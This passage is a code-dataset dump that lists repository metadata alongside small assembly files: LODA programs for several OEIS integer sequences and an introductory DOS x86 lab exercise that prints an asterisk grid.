] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A017332: a(n) = (10*n + 5)^4.
; 625,50625,390625,1500625,4100625,9150625,17850625,31640625,52200625,81450625,121550625,174900625,244140625,332150625,442050625,577200625,741200625,937890625,1171350625,1445900625,1766100625,2136750625,2562890625,3049800625,3603000625,4228250625,4931550625,5719140625,6597500625,7573350625,8653650625,9845600625,11156640625,12594450625,14166950625,15882300625,17748900625,19775390625,21970650625,24343800625,26904200625,29661450625,32625390625,35806100625,39213900625,42859350625,46753250625,50906640625,55330800625,60037250625,65037750625,70344300625,75969140625,81924750625,88223850625,94879400625,101904600625,109312890625,117117950625,125333700625,133974300625,143054150625,152587890625,162590400625,173076800625,184062450625,195562950625,207594140625,220172100625,233313150625,247033850625,261351000625,276281640625,291843050625,308052750625,324928500625,342488300625,360750390625,379733250625,399455600625,419936400625,441194850625,463250390625,486122700625,509831700625,534397550625,559840650625,586181640625,613441400625,641641050625,670801950625,700945700625,732094140625,764269350625,797493650625,831789600625,867180000625,903687890625,941336550625,980149500625
mul $0,10
add $0,5
pow $0,4
| 176.285714 | 1,172 | 0.89222 |
822d25167df6290a54c871c5284265c22bcd3722 | 493 | asm | Assembly | programs/oeis/174/A174935.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/174/A174935.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/174/A174935.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A174935: a(n) = Sum_{k<=n} A007955(k) * A000027(k) = Sum_{k<=n} A007955(k) * k, where A007955(m) = product of divisors of m.
; 1,5,14,46,71,287,336,848,1091,2091,2212,22948,23117,25861,29236,45620,45909,150885,151246,311246,320507,331155,331684,8294308,8297433,8315009,8334692,8949348,8950189,33250189
mov $2,$0
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
seq $0,338576 ; a(n) = n * pod(n) where pod(n) = the product of divisors of n (A007955).
add $1,$0
lpe
add $1,1
mov $0,$1
| 32.866667 | 176 | 0.663286 |
bc492765e6c6fa4708d1469c20e0e56aa63f356d | 948 | asm | Assembly | Lab Work/5th-semester/assembly-language/book/CH-04/12.asm | akazad13/bsc-academic-work | c9a1df5948ed93ce54822bb0a3f1972a9201e9f9 | [
"MIT"
] | null | null | null | Lab Work/5th-semester/assembly-language/book/CH-04/12.asm | akazad13/bsc-academic-work | c9a1df5948ed93ce54822bb0a3f1972a9201e9f9 | [
"MIT"
] | null | null | null | Lab Work/5th-semester/assembly-language/book/CH-04/12.asm | akazad13/bsc-academic-work | c9a1df5948ed93ce54822bb0a3f1972a9201e9f9 | [
"MIT"
] | null | null | null | .MODEL SMALL
.STACK 100H
.DATA
MSG1 DB 0AH,'***********',0AH,'***********',0AH,'***********',0AH,'***********',0AH,'***********',0AH,'****'
VAL1 DB ? ; first initial
VAL2 DB ? ; second initial
VAL3 DB ? ; third initial
MSG2 DB '****',0AH,'***********',0AH,'***********',0AH,'***********',0AH,'***********',0AH,'***********$' ;set 11*11 arterisks grid
.CODE
MAIN PROC
MOV AX,@DATA ; initializing data segment
MOV DS,AX
; printing '?'
MOV AH,2
MOV DL,'?'
INT 21H
MOV DL,0AH ; printing new line
INT 21H
MOV AH,1 ; first input
MOV VAL1,AL ; moving the value of AL to VAL1
INT 21H ; second input
MOV VAL2,AL ; moving the value of AL to VAL2
INT 21H : third input
MOV VAL3,AL ; moving the value of AL to VAL3
LEA DX,MSG1 ; getting offset
MOV AH,9
INT 21H ; printig the message
MOV AH,2
MOV DL,07H ; beep
INT 21H
MOV AH,4CH ; dos exit function
INT 21H
MAIN ENDP ; return from main
END MAIN
| 21.066667 | 134 | 0.558017 |
4c1e9be07565c88b43aae2a56f9b3459a464f0d3 | 290 | asm | Assembly | programs/oeis/176/A176743.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/176/A176743.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/176/A176743.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A176743: a(n) = gcd(A000217(n+1), A002378(n+2)).
; 1,3,2,10,3,7,4,18,5,11,6,26,7,15,8,34,9,19,10,42,11,23,12,50,13,27,14,58,15,31,16,66,17,35,18,74,19,39,20,82,21,43,22,90,23,47,24,98,25,51,26
mov $1,$0
mov $2,1
add $2,$0
gcd $2,4
mul $1,$2
mul $2,2
add $1,$2
sub $1,2
div $1,2
add $1,1
| 20.714286 | 143 | 0.589655 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.